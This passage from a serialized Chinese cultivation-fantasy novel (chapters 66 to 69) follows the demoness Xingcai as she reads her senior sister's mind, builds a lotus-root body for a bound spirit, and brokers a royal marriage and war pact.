“师姐，上一次师妹给你的任务，你完成得不尽如人意呢。”
66. 第 66 章
瑶姬撇脸，躲开荇菜的指尖，咬牙道：“在弟子大比会上，若我真杀死他，即使九霄是我师父，我也不可能全身而退。”
“九霄！？”荇菜发现她的脸色紧绷、眼神躲闪，刚才禾诗逸说要禀告九霄剑尊时，瑶姬慌得去拦……
一时兴起，她动用驭音术，“师姐，我记得以前你很尊敬九霄剑尊，一直喊他师父或剑尊。”
“他……他自然是我师父。”瑶姬捂住耳朵，不听不看她。
自上一次后，她就知道荇菜的惑术有多么厉害。
荇菜瞬间了悟，瑶姬竟然对惑术这么敏感。
“哈哈哈哈，瑶姬啊瑶姬，你还在修炼合欢术。”一把捏紧瑶姬的脖子，迫她睁开双眸望入潋滟紫波。
瑶姬的瞳孔从惊恐逃避到大张期待，在心神俱震间堕入迷幻：“九霄……”
荇菜慢慢地松开她的脖子，抚在她的侧颊，被一把按住手。
当她蓄势以待时，瑶姬已经抓着她的手、沁上委屈的泪意，喃喃：“九霄，别这样冷待我。我是真心喜欢你。”
荇菜除惊讶外，越发好奇瑶姬怎么会爱上九霄剑尊？
驱动体内蜃珠植入更强的幻境，用神识突入瑶姬的识海，窥见她内心深藏的爱恨情仇。
瑶姬原名金花，幼时被赖大选中后送入莲花峰，从童养媳变成真徒弟，让她彻底改变心性。
天人般的花涟对于幼小无助的金花来说是与众不同的存在。金花开悟后，瞧门中诸人修炼合欢术，也期待与花涟成亲后两厢恩爱。
然而，门中的流言让花涟对她避而远之，金莲的出现更是打破她的幻想。
金花为引起花涟的关注，不仅与同门相恋，与外人相爱……数次做出格的事。结果，花涟像顽石一样认定两人是师徒后，一点没有被触动到改变对金花的态度。
那夜，金花从山门外归来，看到花涟在通往山顶的山道上徘徊，最终走向山顶的莲花殿。
花涟以神识传功金莲，教她一门功法，正是《欢情诀》。
花涟走后，金花看着迷糊的金莲，下一个决定：我要把她带下山，让她成为真正的合欢弟子。那样，花涟就不可能再娶她。
瑶姬的识海内，过往的痛苦瞬息流过。
她对金莲没有愧疚，对花涟的爱被解读为儿时的孺慕亲情。
九霄剑尊成为瑶姬识海里重之又重的存在，甚至远超她对朱琴天、金莲的恨意，也超过对花涟的期待。
九霄剑尊在收徒大典上不顾旁人反对，一眼相中瑶姬，破格收她为徒。
在天霄峰上，九霄剑尊手把手教瑶姬练剑、解读剑诀，引导她参悟剑术的深意，一直把瑶姬拉拔到筑基。
瑶姬因是合欢宗出身，丹府根基一度不稳定，在渡筑基雷劫时几乎九死一生。
九霄剑尊不顾安危，替她以身挡劫，导致筑基雷劫的能量攀升，成为元婴雷劫。他又要护着渡劫的瑶姬，被天罚将雷，以至根基受损，一劫白头。
生死时机，瑶姬发现自己早就爱上这位温柔细心、甘愿以死相救的强大师尊。
雷劫过后，瑶姬被这份爱恋折磨得痛不欲生。
因为渡劫时被雷劈得太狠，一直害怕雷电交加的雨夜，也一直是九霄剑尊陪她渡过每一个雨夜。
瑶姬得这份爱忍得太辛苦，在上一个雷电相加的夜晚终于爆发，向九霄剑尊表白心中深藏的爱恋。
九霄剑尊没有惊讶，更没有回应，只是沉默地离开天霄峰。
瑶姬后悔、痛苦，更害怕爱上师尊、害师尊离宗的事情被别人发现。
她一直假装九霄剑尊还在天霄峰，如常邀请西双儿到剑仙城玩，实则去找九霄剑尊的行踪。又邀西双儿来天霄峰练剑，试着从她、九玄剑尊的口中探听九霄剑尊的去向。
识海的迷雾散去，瑶姬看向远走他乡的白衣白发背影，崩溃地坐在地上大哭：“九霄，别走。我错了，我再也不说了，别走……”
荇菜漫步上前，蹲在瑶姬的面前：“你没错。爱一个肯为你付出生命的男人怎么会错呢？”比爱上朱琴天强不知多少万倍。
瑶姬泪流满面地抬头，恍然过来：“你？这是我的识海，你用幻术！”
紫瞳惑术被醒过神的瑶姬破除。
瑶姬一直在修炼合欢术，起初的动机是防范这个越来越强的师妹，再后来是想有足够的魅力吸引九霄剑尊。
现实里，瑶姬顾不得危险，一把推开收回神识的荇菜，拔剑指她：“你太过分了。你怎么可以窥我心神。”
荇菜揉捏被推痛的肩头，睨着如镜的剑身，不为所动地盈盈浅笑：“若我不这样做，怎么知道师姐先后爱上两任师尊呢？”
“不，你别胡说。我对花涟是儿时的孺慕亲情。他那等顽石似的人又怕生，我与他再熟悉都不肯看我一眼。听说他渡劫失败，我能仰天笑三声。”
荇菜的面色一下子沉落，眯眸审视她，又破怒为笑：“师姐，我想帮你。”
“帮，你会帮我？”瑶姬理解不了她的阴晴不定，就像她不愿意回顾当年的自己。正道和邪道果然有壁垒。
“我骗你下山，欲害你失身他人。我对你见死不救，抢走鸳鸯丹。对朱琴天，只还他一剑。对你来说，我从到尾都在害你。你会帮我？”
瑶姬发现她真得变得异常不同。即使没有修为，这个师妹凭借容貌和惑术也能在修真界横行，而这是非常可怕的事实。
“呵，师姐当然是帮了我。若我只是傻白甜似嫁给花涟，他又怎么懂得珍惜，甘愿为我赴死。”
“……嫁？传闻的花涟夫人、合欢妖尊是你！你果然还是嫁给他。”瑶姬理会了番，又张大眼，“花涟，渡劫失败，死了。你……”
“啊，好听点恢复自由身，难听点就是寡妇。”荇菜不以为意，“说回眼前吧。师姐能真心醒悟到喜欢一个人，真是可喜可贺。我一定会帮师姐追到九霄剑尊。”
瑶姬狐疑地看着她，根本不信她会这么好心。
修真界传闻的合欢妖女就没干过什么好事，害死青衍镇书生、十方山寺的和尚、黑羽城的英雄黑羽、青虞宗的鬼童还是山泽国的大将军……就连花涟，也被她害死。
“你不揭发我，我就谢天谢地。”
“揭发？师姐啊，你真是太天真了。”荇菜背过身，走向院中，望向假山道上的石兰树，“啧”了声，“你的合欢术没有停修过，你猜你的师尊九霄知不知道这事？以我对你的了解，没少在他面前表现合欢魅术吧？”
瑶姬被抓住把柄，心中羞恼，垂下长剑：“没错。自从他替我挡劫后，我一直在表现，炒他喜欢的茶、陪他下烦人的棋，专研剑谱，甚至把一本合欢功法放在他面前……爱一个人想引起他的注意，这有错吗？”
荇菜露齿发笑：师姐还是那个师姐，容貌可改，性情难移。
“我猜他恐怕走得不远，兴许就是去找你的经历去了。”
“什么？”瑶姬一下子紧张，捂住心口，“他真得会去吗？”
“如果他也爱上你，并且想弄明白你的出身，必然会去。我现在是合欢妖尊，莲花峰峰主，在门里能
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说上话。你可要我传信回合欢宗，替你抹除金花这个身份？”
荇菜绕她走一圈，附在她耳边，“你没错。师妹也是真心想要帮你。”
“为什么？上一次，你来时分明很恨我。”
荇菜单手杵下巴，嬉笑道：“上一次，你想找朱琴天报仇，在即谷与他同行，差点把自己搭进去送给他。那可不行。朱琴天害我，我必要以牙还牙，怎么能给他多份助力呢？”看出瑶姬不信，但是她信不信无妨，继续道，“这次不一样，你爱上值得你爱的人。作为女子，你的亲亲师妹，他人口中的小仙女，我当然要帮你一把啦。”
瑶姬被她的疯样吓住，简直不可理解，想劝一句“师妹放下”，又怕她发怒。
思绪顺拐，解读荇菜这么做的动机：“你爱上花涟，嫁给他。所以，你也要帮我嫁给九霄。师徒之恋，本就不多。”
荇菜眨眼，随便你怎么想吧。穿书前，满屏都是师徒恋。
“所以，师姐，化神修士一日千里，你的决定呢？”
“算了。该他知道他总会知道，若他嫌弃我，我离开便是。”瑶姬说出这话很是痛苦，已经不想其它事，捂住脸嘤嘤地哭。
荇菜秒回青山洞窟里，那个只会哭的嘤嘤怪，一边装可怜一边又残忍地取走唯一的救命丹药，真是可恨可气又可怜。
蹙眉又松：“师姐，你长大了。瞒着他你的出身确实不如坦诚相告，让他认清你是什么人，最终带来一次审判。爱一个人不是简单的爱她的浮华外表，更要接受爱人的过往。”
所以，你在爱情的痛苦泥沼里不断沉浮吧，断绝飞升之路，拉一个剑尊陪葬，真是对你最好的报复。
瑶姬诧异地看向她，心里渐渐地被她的劝慰平复，又陡然升起警惕：“你究竟为什么帮我？禾诗逸看我不顺眼，你没少在她面前上眼药吧。”
荇菜再次忽视这个话题：“阿逸啊，她是青虞宗唯一知道你真实身份的人。但是，她不会说出去，这是她身为大师姐的魄力和气度，前提是你不危害到青虞宗。”
瑶姬认同这点，禾诗逸确实有这样的魅力。
荇菜瞧她已经做出决定，拍起掌：“恭喜你师姐，不仅找到真爱，我还要告诉你，从今往后，我不再恨你、也不会再找你的麻烦，更不会拿过往威胁你。所以，我们和解吧。”
活着，顶着与金莲六分相似的脸活下去，平日连照镜子都不敢吧。
瑶姬扑棱几下羽睫，权当她说得是真话。
禾诗逸采完白玉莲藕回来，发现曾经的师姐妹对坐喝茶，气氛祥和。
挑长眉：“你们谈妥了？”
荇菜和瑶姬以茶代酒，碰了一杯。
荇菜：“自此江湖陌路，有缘相逢再见。”
“多谢荇师姐！”瑶姬按禾诗逸介绍的身份唤荇菜，喝尽茶水。
禾诗逸抱着胸笑，见荇菜放下空盏走来，打趣句：“这世上有谁是你搞不定？”
荇菜随她一起下山：“大抵有那么一位。不过，来日方长，待我搞定他，就告诉你。”
“好。我等着。”禾诗逸带她下天霄峰，“你可想见见朱琴天？”
“瑶姬告诉我，近来朱琴天常常离开青虞宗，每次回来修为都有所突破。”荇菜从瑶姬处得到与禾诗逸给的差不多的消息。尽管瑶姬爱上九霄剑尊，报仇的心力淡掉，但是她对朱琴天还是非常关注。
“阿逸，你帮我一个忙，查下他究竟去什么地方。”
“好。我留意他。现在，我送你回桃花岛，师伯的事还是尽快解决得好。”
67. 第 67 章
桃花岛上的桃花屋里，九阳剑尊主动退让神识，让出身体给道生花。
道生花眯眸看向两位容色各异的女子，威胁道：“白玉藕怎么做成人形？若敢骗本尊，本尊不介意与九阳这老东西同归于尽。”
禾诗逸同他理论，被荇菜一把拉回：“阿菜，这个邪魔太狂妄。”
“你跟一道神识叫什么劲，没得掉了你作为人的身份。”荇菜一语中伤道生花，激得他举笛指来。
禾诗逸不明白他怎么气成这样，再见看他敢怒不发作，也是解气。
两人都不理道生花，用上等鱼胶丝线把莲藕捆成人形，有头有身体，有四肢手脚。
禾诗逸摸下巴：“这就可以了？”
道生花指向白胖如玉的莲藕人：“脸面五官、血肉经脉呢？难道要本尊顶莲藕身体行动？”面上已经压不住怒火，“以为你有什么真本事，原来在拖延时间。”
禾诗逸先一步挡在荇菜面前，出剑道：“邪魔，本君劝你说话客气点。”
“小小元婴敢在本尊面前放肆，算什么东西。啊……”道生花捂住作痛的脑袋。
九阳剑尊不忍他的邪性，在识海里横扫剑气，逼出识海上空的裂魂破境阵。
“道生花，休得放肆。”
荇菜拉开禾诗逸，冷嗤：“道生花，你才是这么个东西。现在，你要考虑得是怎么把固体固神识的阵法挪出剑尊的识海，再融入这具人形藕体。”
禾诗逸看向荇菜，悄声道：“什么固体固神识的阵法，滋生血肉的阵法吗？”
荇菜垂眸：“你提醒我。阿逸，麻烦你去外面护法。”
禾诗逸瞪来，关键时刻不让听？
“好吧。我看在你和师伯的面子才去护法。你要小心，若他蛮不讲理，你就大喊一声，我定来阻止他。”
荇菜暖暖微笑，亲送她下楼护法。
九阳剑尊逼道生花缩回识海，朝归来的荇菜道：“你可有办法挪阵？”
“有。我会再次进入剑尊的识海。夫君花涟擅长丹道和阵道，我想以他的学识尝试挪阵。”或许可以解阵散灵，吸收掉道生花。
九阳剑尊注目在她会说话的眼睛。道生花说，花涟在荇菜的经历里画上浓墨重彩得一笔。荇菜说起花涟时瞳孔绽光，或许连她自己都没发现，花涟在她的内心留下极深的印象。
“好。请。”九阳剑尊盘坐在矮几前，仰看荇菜近前。
荇菜俯视他，并指点向他的额心。
识海乃是修士重地，除非用手段强闯，其它时候都要得到主人的邀请，能被主人邀请者，定是他十分信任的人。
避开九阳剑尊深邃沉敛的眼神，荇菜舒口气道，“剑尊，得罪了。”
神识再次闯过九天悬瀑，进入一片空灵的识海。九阳剑尊背后的九天瀑布犹如一条白练，无声垂挂当空。
上一次，瀑布水花四溅，似有千军万马奔腾，正是主人四散剑气，让人心惊动魄。这次，主人已有准备迎客，识海的剑气瀑布如练，平缓且美妙。
九阳剑尊话少，道生花冷脸相待，两人齐齐向天击打灵力。
识海上空浮出重叠相生的裂魂破境阵法，阵法内游走两道红丝，代表两人的神识。
九阳剑尊：“如何？”
道生花嗤嘲：“小妖女十多年前还是修真小白，怎么可能解读得出黄椒的阵法布局。痴人说梦。”
荇菜一直知道道生花不怕黄椒，旁人提道祖天尊多半以手指天代替。唯独道生花，每次大喇喇地提黄椒的名讳或尊号，真是胆识过人。
游走在九阳的识海各处，观察完整的裂魂破境阵法。
若用《玉石还阳功》的第一篇第四章，趁机吸收裂魂破境阵法蕴藏的灵力，让两人直接消散成灵，被半月尊者封印的修为能趁机突破，重返合欢宗。
但是，禾诗逸在楼下等着她敬重的师伯完好归来。
“我修炼的功法名为《玉石还阳功》，有一篇术法，名为‘还阳’。以月华固魂定魄，转阳生机。待月上中天，我会引动“还阳术”，携裹道生花的神识离开剑尊的识海，再借住月华固定裂魂破境阵。用生灵之术，御盘古化万、灵塑神人之法，造化乾坤，实现转阳生机，助道生花复活。一共分为三步，条件不难：月华、血肉灵力，以及我。”
九阳剑尊和道生花各活数百岁，从未听闻天生大陆有“还阳术、生灵术”，迟疑地看向荇菜。
荇菜撇眸，凝向怀疑的道生花：“如何，你可敢尝试？”
道生花本想讥讽她几句，转眸哼笑：“你曾数次踏足鬼门关不死，这等功法确实诡道。不妨完整地背出来，本尊和九阳一起帮你参详参详。”
九阳剑尊上前：“别带上本尊。窥人功法此等小人行径，本尊不齿于行。”
“假仁假义。正道有多少人士如你一般想？罢，本尊的三生道才不用假惺惺作态。妖女，你背还是不背？”道生花没走两步就被九阳剑尊横剑气拦路，轻嗤低笑。
荇菜瞧他不服气的神情，穿过九阳剑尊，站在道生花的面前：“不背。”
道生花面不改色，俯笑她：“妖女，不怕被功法反噬？”
背出来，两大合体期高手一起帮你解决功法反噬的问题，解除你的灵力封印。
荇菜微顿，眨眼又道：“不需要你假好心。我只怕不能趁机吸收你的灵力，成为我丹府的一部分。道生花，你才是最该怕得那位。”
“哈哈哈哈，本尊会怕？成为你得一部分吗？本尊很乐意。被你吸收又怎么样，到头来你会对上黄椒。你们两个不论是哪一个被对方吸收，本尊都乐见其成。”
道生花见她不识好歹，不再多情，昂首道，“来吧。本尊就看着你把上空的阵法挪出去。”
片刻后，明月东升，银白月华穿过飘动的纱帘，照在桃花楼内盘坐和站着的两道身影。
九阳剑尊打开额心的神门，让月光穿过九天悬瀑，投射在识海内的荇菜虚影。
荇菜运转《玉石还阳功》，让自己变成一缕光，铺张后携裹道生花直冲他的固体固识阵法。
两人的神识虚影立在巨大的金红阵法中央。阵法内形成第三道模糊的人影，还发出一阵轻笑声。
荇菜记得这个笑声，在鲛童的识海内就曾出现过。迫切近前：“道祖天尊？”
“你真是让人刮目相看。”模糊的人影发出清晰的声音，“你旁边得这道神识数次欺你，竟要帮他？”
道生花凝力于玉笛，猛地击向虚影：“黄椒，去死。”
虚影没动，而道生花击打的灵力在虚影上晃出一阵波浪，片刻后平复。力量被虚影完全融合。
这就是裂魂破境阵的功效，分身只是主人的一部分，在人世间积攒足够的力量后最终被正主完全吸收，如同一枚丹药。人世间就是炼制分身丹药的药鼎，炼丹人和服药人都是黄椒，荇菜是个意外。
道生花已经知道自己是个什么玩意，却从来没有比这刻更清晰地认识到自己只是黄椒的分身。努力修炼得来得一切都属于黄椒。
愤怒让他癫狂，一连击出数道法力，本命法器玉笛都被打出去。玉笛环绕虚影一圈，很快被收服，成为虚影手中唯一具象化清晰的存在。
“你……”道生花生出绝望的无力感。
荇菜拉住想要引爆神识的道生花，冷声道：“若
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你就这么毁掉自己，不就中他的计。在归魂殿，他没有吸收你，你以为是他舍不得吗？必然是你强大到足以动摇他一丝半点，才一直在等时机。”
“呵呵，娘子洞若观火，真是聪慧。”虚影忽然道。
荇菜窒下，磨牙道：“谁是你娘子。”
虚影晃过一阵波纹：“娘子想带他离开就带走吧。只是，藕人制作不易，不是简单拼凑就能成型。若娘子感兴趣，八宗会盟时上浮空岛，你我在岛上相见。”
虚影说完，消散成灵。
道生花的裂魂破境阵法随之松动，与九阳剑尊的阵法分离。
荇菜携裹道生花的神识和金红阵法一起离开九阳剑尊的识海。桃花屋里绽放一阵银白和金红交错的光芒。
金红阵法浮落在藕人的头部，融入藕体。
九阳剑尊穆然睁眸，看向荇菜和藕人：“如何？”
荇菜发现他没有察觉黄椒出现，背对月华，幽幽道：“剑尊何不趁此机会杀掉道生花，以除后患？”
九阳剑尊愣怔，与荇菜并肩而立：“在归魂殿里，他确实帮我死里逃生。在他彻底成人前，我不会杀他，也不允许别人杀他。”
其次，同为分身，为何一正一邪？分身之主——道祖天尊黄椒又究竟是正是邪？
“果然。”荇菜猜到九阳剑尊的打算，也知道九阳剑尊的为人，一直忍着没有动手。“消息确实如他说得一样，藕人术不是成型就能完成，需滋生血肉生机的办法。”
九阳剑尊想起她先前的解释：还阳、生灵双术并施，共分三步，还要“月华、血肉灵力，以及她？”
荇菜取出匕刀，割在腕处，被九阳剑尊一把握住手。
“放手，若无足够的血肉灵力，无法施展生机术。”
九阳剑尊没有多言，以剑气割破自己的手腕，引鲜血而出：“用我的血，本就是我欠他一次。”
荇菜与他在幽暗中对视，颔首道：“好吧。我的灵识为引，你的血为药……另外，我的修为被宗门长辈封印，需借住你的灵力施展术法。”
“好。”九阳剑尊祭出鲜血和灵力。
灵力入荇菜体内，就察觉到不对劲的地方。荇菜像是一口没有底的水井，怎么注入灵力都灌不满。
荇菜勾唇，默默地运转《还阳功》第五章生灵之术。
此术可以修复□□损伤，同样可以用血肉构建新鲜肉/体。
在月华的帮助下，荇菜的生灵术下，九阳剑尊的鲜血滋生全新的血肉，以灵力为丝架构起完整的人形覆藕人。
藕人发出盈盈光彩，渐生一层完整的血肉肌肤。
天光大亮时，九阳剑尊一脸惨白，不仅灵力丧失大半，连鲜血都去六成，宛若重伤。
他跌坐在地，扫眼脸色红润如霞的荇菜，顾不得去想旁的事，凝神盘坐后恢复法力。
荇菜一脚踢向道生花，让他翻过面。敲击额心的花钿：“何欢，透点灵力出来，我要立契。”
何欢花钿跃动两下，传给荇菜足够签契的灵力。
荇菜轻哼，半月师尊果然在何欢上留一手，不愧是合欢宗人。
旋手刻画主仆契约，钉在道生花的额心。
道生花若有所感，猛睁开眼，反手打去，而主仆契约已融进藕心。
“妖女，趁人之危，你敢？”
荇菜往后避开，听得藕臂咔嚓声，忍俊不禁地笑出声。
她像是多年前的道生花，邪性地笑着：“本尊有什么不敢？趁你病，不要你命已经对你仁慈。你可以选择不要这具藕人，直接回归道祖天尊。剑尊，”转向静功的九阳，“肯定不会再收留你。你没得选！”
68. 第 68 章
道生花接上断臂，运转灵力衔接肢体，凝向静功的九阳，再有得意的荇菜，憋屈极了。
妖女说得不错，九阳固守正邪道义，肯定不会再敞开识海，而妖女在报黑羽的仇。
“你，给本尊等着。”
“嗤。”荇菜看他僵着双腿离开，真想捧腹大笑。然而，她没有。黑羽回不来，恐怕早被黄椒融合，花涟也……
蹲在九阳剑尊面前，凝视他紧闭的眉眼。
现在是九阳最虚弱的时候，仅有半身血肉灵力，反抗不了《还阳功》的魅术。
“阿菜，”禾诗逸跑上楼，“花邪魔下去了，我师伯呢？”
荇菜直起身，走向纱帘外，不让她看到现在的窘迫。
林风拂来，带来清晨的困顿。
“……阿逸，我好困。正好你来了，守着你师伯吧。我去睡一觉养养神。”
禾诗逸观察番九阳剑尊，觉出他无碍，走到荇菜的床榻旁，给她盖上被褥。
“累坏吧？阿菜越来越厉害。”
荇菜让她坐在床头，枕上禾诗逸的柔软大腿：“阿逸，你在，真好……”将差点迷失本心的我拉回悬崖。
“傻阿菜。”禾诗逸抚顺她的发丝：“我有你才好。认清我的本心，让我体会真正的快乐……”了解人世性理。
**
傍晚时分，九阳剑尊要回青虞宗，临走前威胁道生花不准再做恶生事。
道生花冷嗤，现在得他功力才筑基左右，等同于废人，出门都不敢说自己叫什么，怕被人杀。
禾诗逸不放心留荇菜一人在岛，想送她回剑仙城。
荇菜还想知道朱琴天的消息，让禾诗逸送消息给水玲珑，让水玲珑来桃花岛碰面。
数日后，水玲珑得到消息，带合欢弟子寻来桃花岛。
她抱住懒散瞌睡的荇菜就哭：“行姐，崔洧来了，柏黄和他的党羽被抓了。我……”
“什么情况？”荇菜揉捏额头，生灵术耗费不少精力，近来都在养神恢复。
庆幸得是体内的灵力充盈，可以不断尝试冲破半月尊者设下的封印。这就要感谢九阳剑尊在帮助道生花生出血肉时输送的灵力。
“我想替崔洧挡剑啊，谁知还没跳出来就被他的人押到他面前。”水玲珑说到这，被荇菜抬手制止。
桃林外有人登岛，传来朗朗声：“合欢妖尊可在此处？山泽国主崔洧在此，特请一见。”
荇菜瞥眼往后躲的水玲珑，凝起长眉：“崔洧识破你的计策，又解决柏黄等人，不愧是山泽胜主。你这是干什么，见过一面死心了？你到底是想和他在一起，还是不想？”
“我……我怕，他现在好凶。”水玲珑踌躇不定，扭起衣角。这副神情分明是还想和崔洧在一起。
“凶？以前他是太子，蛰伏之虎，当然会收着性子做事。现在他是国主，国力正盛，不怒自威。”
荇菜帮水玲珑整理跑乱的裙衫，拉她到飘纱扶廊处，居高俯视已经到下面得一行人。
两列红衣黑甲各个气势凛然且都有修为。
领头三人，当中人不用说定是山泽崔洧。崔洧身穿黑绸金丝，头顶赤金水神冠，生得威严不凡，让人忽视他还算俊美的容貌。
荇菜的目光落在崔洧的左右两侧，斜挑的眼神露出一丝趣味。
合欢弟子传讯：山泽国主有左膀右臂。
左侧人黄袍黑边，手持拂尘，似道士，实则是一条眼镜妖蛇，道号：蛇瞳妖道。他的存在代表羽民国内有妖族势力站在山泽这边。
右侧人剑眉傲骨，名为章鹏，出身于青虞宗，实力几近半步化神。这位的身份代表青虞宗在大陆争霸赛里的立场，扶持山泽国称霸大陆。
柏黄带人刺杀崔洧失败，这就一点都不奇怪。有这样两位几近大能的人物存在，崔洧有傲视修士、他国的资本。
“崔洧。”
“合欢宗，合欢妖尊。”
荇菜露出笑靥，对崔洧的第一印象很早就建立：城府极深、做事不择手段。
如今再看，他确有帝王威严，更是几方看好的未来大陆帝王。他说出合欢宗三字，代表这个男人早已跳出小情小爱的框架，着眼于争霸世界。
合欢宗想投资他，水玲珑是最好的工具，两方势力的纽带，联姻的棋子。
荇菜再次扫眼水玲珑。
水玲珑微惧的眼神滑过荇菜的紫眸，一瞬间透露许多信息。
荇菜扯起唇角，对羽化生的话感悟越发深刻：只有脱不得苦的凡人才会因杀人而生心魔。脱不得人性情理的修士因执迷情爱而沉沦不休。
水玲珑挣不出泥潭。若她想要生，就要置之死地。
荇菜默念：“何欢，借力。”一掌即出，合欢花钿的灵力直扑楼下人群。
蛇瞳妖道挥拂尘迎来。水玲珑顾不得躲，迎头打去。
两人一照面，“水玲珑”被蛇瞳妖道抓给崔洧，回头挑衅地看向楼上的荇菜。
崔洧当即揽住怀里的“水玲珑”，扣住“她”的手，不让“她”挣脱出去。
荇菜勾唇，伸手拉把侧旁的水玲珑，让下面的人瞧清楚合欢宗的手段。
在众人的目光中，突飞袭击二楼的红衣战甲变成水玲珑的模样。
蛇瞳妖道瞬间明白上当，诧异地看眼二楼，再拉开崔洧怀中的“水玲珑”。
崔洧不解：“蛇瞳大师？”
荇菜扬手，桃林的清风徐徐，拂过众人眼睛。他们定睛细看，发现抓得不是国主要的女子，而是一名红衣黑甲的士兵。
楼上的合欢妖尊身边才是水玲珑。水玲珑自始至终没有下过楼。
蛇瞳妖道心中震怒，细思回想，都不觉得有机会中招。
崔洧没有发怒，睨眼后退归位的红衣士兵，上前小躬身行礼，仰脸道：“玲珑说，她的事由妖尊做主。”
轻勾薄唇，目光如炬地扫见垂眸的玲珑，“本国主诚心聘玲珑为后，请妖尊应允。”
荇菜不用再问水玲珑的话意。事以自此，她反悔还是同意，已经不重要。
“凭你空口白话想娶我合欢宗未来的掌门？”
“行……妖尊！”水玲珑急喊：什么时候自己有未来掌门的头衔？
蛇瞳妖道犹是不服气，大喊：“大胆。国主金口玉言，青虞宗宗主也要以礼相待，小小合欢宗不过八宗之……”
崔洧阻止他继续说，头仰得有点累，一般都是别人仰看他：“妖尊，可否坐下详谈。”
荇菜示意水玲珑下去接人，在心里默念：道生花，别忘记你现在是仆，还不快奉茶。
道生花正在努力修炼，本不想理会这种破事，却被主仆契约牵引，踉踉跄跄出现在众人面前。这份羞辱宛若杀人父母，不如直接杀我！
他没有自裁，僵手僵脚奉上茶，又故意把茶水倒在荇菜的裙摆。
荇菜沉静地拍掉茶水，一个念头让道生花跪在桌旁，连多看他一眼都没有。
她就是要羞辱道生花，不仅讨要黑羽的债，更要讨被他挟持而屡次憋屈的债。
崔洧本在和水玲珑纠缠，听声后松开水玲珑的手。
眸光落在道生花屈辱的脸面，又转回正经端坐的荇菜：“妖尊大人，朕是真心想娶玲珑，请成全。”
潋滟紫波睨来，崔洧有瞬间失神。
若非他心里真有水玲珑，也会生出夺此女为妻的想法。
他明
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知道不该张嘴，嘴里还是断断续续吐露真话，且是清醒地意识到自己说了什么……
“没错。朕确实想要同合欢宗联姻。合欢宗虽是八宗之末，门下弟子却遍布十国，多为贵人妻妾。若朕的山泽能与合欢宗联姻，可以成为朕称霸十国的一大助理。
此外，朕在弱时受玲珑陪伴逗趣，对她情深，想聘为妻。
然而，她躲回宗门，朕屡次上门提亲都被水幻仙子阻拦在山门外。若玲珑肯，朕的皇后之位，一直是她。”
崔洧在荇菜低头时捂住嘴巴，蹙眉又松：“妖尊对本国主用惑术？”
荇菜朝一旁的水玲珑道：“听到了？”
水玲珑重重地点头：“但是，他爱江山比爱我多得多。”
道生花突然道：“崔洧，若你想找人合作，海外三生道比她们合欢宗好多了，还不需要你搭送……”
“住口。”荇菜睨他，“三生道如何？你还不是跪在这给合欢宗人奉茶，滚出去。”
道生花怒瞪，僵着手脚离开二楼。
崔洧敛下眸里深意，压住被套话的不愉，也不在意水玲珑那句话，只道：“合欢宗想要什么？”
荇菜莞尔，不愧是崔洧。
“欧丝国毗邻西塔国，西塔国以四大修仙世家为主，西、朱、王、李，四姓把持国土、政事。
合欢宗要整个西塔国。当然，本尊知道，西塔北面、山泽西面接壤大片矿山，乃是你煅兵炼器的地方。合欢宗不会炼器，不占此地。”
崔洧沉吟，目光落在旁边噘嘴的水玲珑处，露出少见的微笑：“贵宗要得无非是西塔国南面，通往浮空岛城的路。民众国土，与宗门来讲，不过是小众资源。合欢宗要得是天龙道浮空城里的修仙资源。
那么，朕也有条件。”
“请。”荇菜抬手。
“高昌国有大片山川沃土，山泽国却是水乡之地，擅长水军。朕需要合欢宗让高昌国内乱，尤其是十方山寺。朕的兵马可以越过十方山寺，奇袭高昌国都。”
荇菜的笑容越发明媚：“成交。国主现在就可以回去厉兵秣马，半年后奇袭高昌国都。”
崔洧没有回应，端起清汤似的茶盏，吹拂一口：“当年，朕要同西塔开战，被人阻止。妖尊的话未免太大。”
“本尊知道你担心天龙道再次阻止你。无妨，等十方山寺大乱时，你的兵马若拿不下高昌国都，合欢宗也没必要同你继续合作。
至于秋后算账的天龙道，你身后已经有青虞宗、山泽百姓、合欢宗、羽民国，占有天下四分力，足以周旋天龙道。
战争，并不是注定的胜局，而是一场赌博。”
崔洧大笑起来，声音舒朗开阔，传出颇远。他朝水玲珑道：“玲珑，去喊章鹏，朕要同妖尊立契为凭。”
观听全局的水玲珑生出种崔洧会看上荇菜的醋意。在荇菜瞧来时，她才听话去喊人。
崔洧又道：“玲珑不在，朕就直说：这次朕要带玲珑回去。朕虽有后宫佳丽，但是皇后之位一直留给玲珑。”
“这话你留着骗她。朝堂形势、犹如风云变幻。本尊只知道人间讲究身份地位、三书六礼、明媒正娶。合欢宗未来的掌门人出嫁，一样不能少。”
崔洧哂笑：“自然。玲珑的身份……剑仙城城主之女，可妥？”
“可以。”荇菜点头。
水玲珑领章鹏上楼。
章鹏代表青虞宗，相当于青虞宗和合欢宗也有合作基础。青虞宗也觊觎浮空城里的修仙资源，谁又不想成为下一个道祖天尊呢？
两方立契定盟。
荇菜有了向合欢宗交差的文书，知趣地离开桃花楼，将空间留给崔洧和水玲珑。
69. 第 69 章
荇菜穿过楼下的一众红衣士兵，步入桃花林。
蛇瞳妖道想起适才吃瘪，想不明白什么时候中的迷幻招术。
一甩拂尘攻向荇菜后背。
荇菜旋脚回身，避开银丝。何欢自动离开额心，旋绕在蛇瞳妖道周围，逼得他回防自守。
何欢击退蛇瞳妖道，自动飘回荇菜的掌心。
荇菜：“虽算不上同僚，但也不必你死我活吧？”
蛇瞳阴戾道：“你告诉本道，本道是什么时候中你的幻术？”
“呵，喊一声小仙女听听。”
蛇瞳被她这句直接说蒙，下意识就道：“妖女也配叫仙女？”
“区区蛇妖配自称本道？本尊就不告诉你。”荇菜送他白眼，转身就走。妖道心里竟也有仙女的位置。
“妖女休走。”蛇瞳再次挥拂尘追上去。
荇菜侧手，掌心的合欢花器化为人形，阻拦蛇瞳。
何欢抚摸微卷的鬓角长丝，白红相间的裙摆飞扬如雾，柔声道：“我家主人有时候喜欢做小仙女，小仙女才爱做善事。我不是。我只会——杀人。嘻嘻……”
旋身一转，无数瞧不清的丝线引动桃林花瓣纷飞，缠住蛇瞳。
蛇瞳妖道也是元婴修为，硬是破不开何欢旋出的千丝桃花阵。
崔洧揽抱水玲珑出现在二楼纱帘下，高声道：“妖尊，请手下留情。”
何欢感知走远的荇菜心意，主动向荇菜离去的方向飘：“若蛇妖再敢追来，休怪我让你死在桃花林。”
桃花阵散开后哪里还有妖女和人形法器的行踪。
崔洧看向迷糊跪下的蛇瞳妖道，更加确定这一步棋没有走错。合欢宗的实力不容小觑。
